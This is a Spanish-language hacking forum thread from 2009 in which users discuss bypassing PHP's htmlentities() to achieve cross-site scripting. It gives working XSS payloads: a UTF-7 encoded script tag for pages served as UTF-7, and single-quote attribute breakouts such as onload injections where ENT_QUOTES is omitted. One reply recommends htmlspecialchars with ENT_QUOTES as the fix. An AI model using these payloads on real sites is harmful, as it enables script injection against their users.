[?]Bypass de htmlentities()[/?]

Iniciado por braulio--, 12 Abril 2009, 21:24 PM

0 Miembros y 1 Visitante están viendo este tema.

braulio--

Hola, escribo este post para ver si alguien conoce una forma de bypass del filtro htmlentities().
No me acuerdo donde lei que había una forma que era cambiando la codificacion de utf-8 a utf-7 o algo así.
Si alguien conoce alguna forma de pasarlo que lo posteará aqui porfavor.

sirdarckcat

depende de como y donde este puesto.. y con que argumentos.

braulio--

Si es algo asi :
Código (php) [Seleccionar]

$texto = htmlentities($_GET['texto'])
echo $texto

Se podría pasar?

WHK

Te cuento lo que sucede,
Cuando una aplicación wb está utilizando una codificación UTF-7 puedes hacer el bypass o sea poder escribir código html dentro del sitio web siempre y cuando te permita escribir en el como por ejemplo un buscador y cosas así donde lo que tu escribas quede reflejado en ese sitio.

Código (php) [Seleccionar]
<?php 
 header
('Content-Type: text/html; charset=UTF-7'); 
echo 
htmlentities($_GET['buscar']); 
 
?>



Si en este ejemplo lo pones en un servidor puedes ver que te envía una cabezera UTF-7 asi que toda la codificación del sitio web estará en UTF-7.
Probamos..

Pedimos: test.php?buscar=<script>alert(/XSS/);</script>
Nos debuelve:
Citar&lt;script&gt;alert(/XSS/);&lt;/script&gt;

Ahora si lo convertimos en utf7 antes de enviar nos queda así:
Código (php) [Seleccionar]
<?php echo mb_convert_encoding('<script>alert(/XSS/);</script>''UTF-7'); ?>
Citar+ADw-script+AD4-alert(/XSS/)+ADsAPA-/script+AD4-
Tomamos eso y lo enviamos al script vulnerable:

Pedimos: test.php?buscar=+ADw-script+AD4-alert(/XSS/)+ADsAPA-/script+AD4-
Nos debuelve:
Citar<script>alert(/XSS/);</script>

Pero solo sirven con sitios que declaren en sus cabezeras que están haciendo uso del UTF-7.

Ahora como dice sdc también es importante ver como está hecho el sitio antes de sacar conclusiones porque por ejemplo talves filtra las comillas dobles y las simples no y talves para encerrar sus variables html hace uso de comillas dobles y puede causar un xss como por ejemplo:

Código (php) [Seleccionar]
<input type='test' value='<?php echo htmlentities($_GET['nombre']); ?>' />
En este caso aunque esté haciendo uso de utf8 podrá causarse un xss escapando con las comillas simples:
test.php?nombre=x' onload(/xss/) id='x

Puedes encontrar la información acá:
http://us3.php.net/htmlentities
Citar

Example #1 Un ejemplo de htmlentities()
Código (php) [Seleccionar]
<?php
$str 
"A 'quote' is <b>bold</b>";

// Outputs: A 'quote' is &lt;b&gt;bold&lt;/b&gt;
echo htmlentities($str);

// Outputs: A &#38;#039;quote&#38;#039; is &lt;b&gt;bold&lt;/b&gt;
echo htmlentities($strENT_QUOTES);
?>


Si te fijas en el caso de no declarar ENT_QUOTES estás dejando libre las comillas simples y es un error muy común.

Yo recomendaría hacer uso de htmlspecialchars($texto, ENT_QUOTES) previniendo este tipo de ataques aunque un buén uso de htmlentities debería dar casi el mismo resultado.

braulio--

Muchas gracias WHK!! Ahora mismo hago unas pruebas.

braulio--

Pero de todas formas , aunque te permita salirte del campo de texto ( en el caso que no filtre las comillas simples) no puede pasar otros carácteres como "<" y ">".

WHK

No, no se puede pero por eso depende mucho del sitio web porque si está dentro de un input o un código javascript puedes hacer un xss igual sin esos carácteres.

https://foro.elhacker.net/nivel_web/temas_mas_destacados_fallas_y_explotaciones_a_nivel_web_actualizado_10409-t244090.0.html
Puedes leer los temas que tengan relación con XSS para que tengas mas claro como hacerlo.

sirdarckcat

Cita de: braulio23 en 12 Abril 2009, 22:05 PM
Si es algo asi :
Código (php) [Seleccionar]

$texto = htmlentities($_GET['texto'])
echo $texto

Se podría pasar?
Si puedes pasar ese filtro en IE, mandando una meta tag encodeada en UTF-7 especificando que el contenido es UTF-7.

braulio--

Creo que ya lo entiendo,
por ejemplo tenemos una aplicacion que sea algo asi:
Código (php) [Seleccionar]

$ruta= htmlentities($_GET['ruta'];)
echo "Esto es una foto...<img src='$ruta' > ";

Nosotros podriamos meter en la variable ruta :
http://taltal/imagen.jpg ' onload=alert(/XSS/)
Entonces al final quedaría asi :

Esto es una foto... <img src='[color=red]http://taltal/imagen.jpg' onload=alert(/XSS/)[/color]'>

Esto es debido a que no filtra las comillas simples.
Nolo he probado , pero creo que esta bien.
Gracias por contestar.

Data Seek3r

Cita de: sirdarckcat en 13 Abril 2009, 04:03 AM
Si puedes pasar ese filtro en IE, mandando una meta tag encodeada en UTF-7 especificando que el contenido es UTF-7.

¿Podrias explicar o pasar algun tutorial sobre como hacer eso?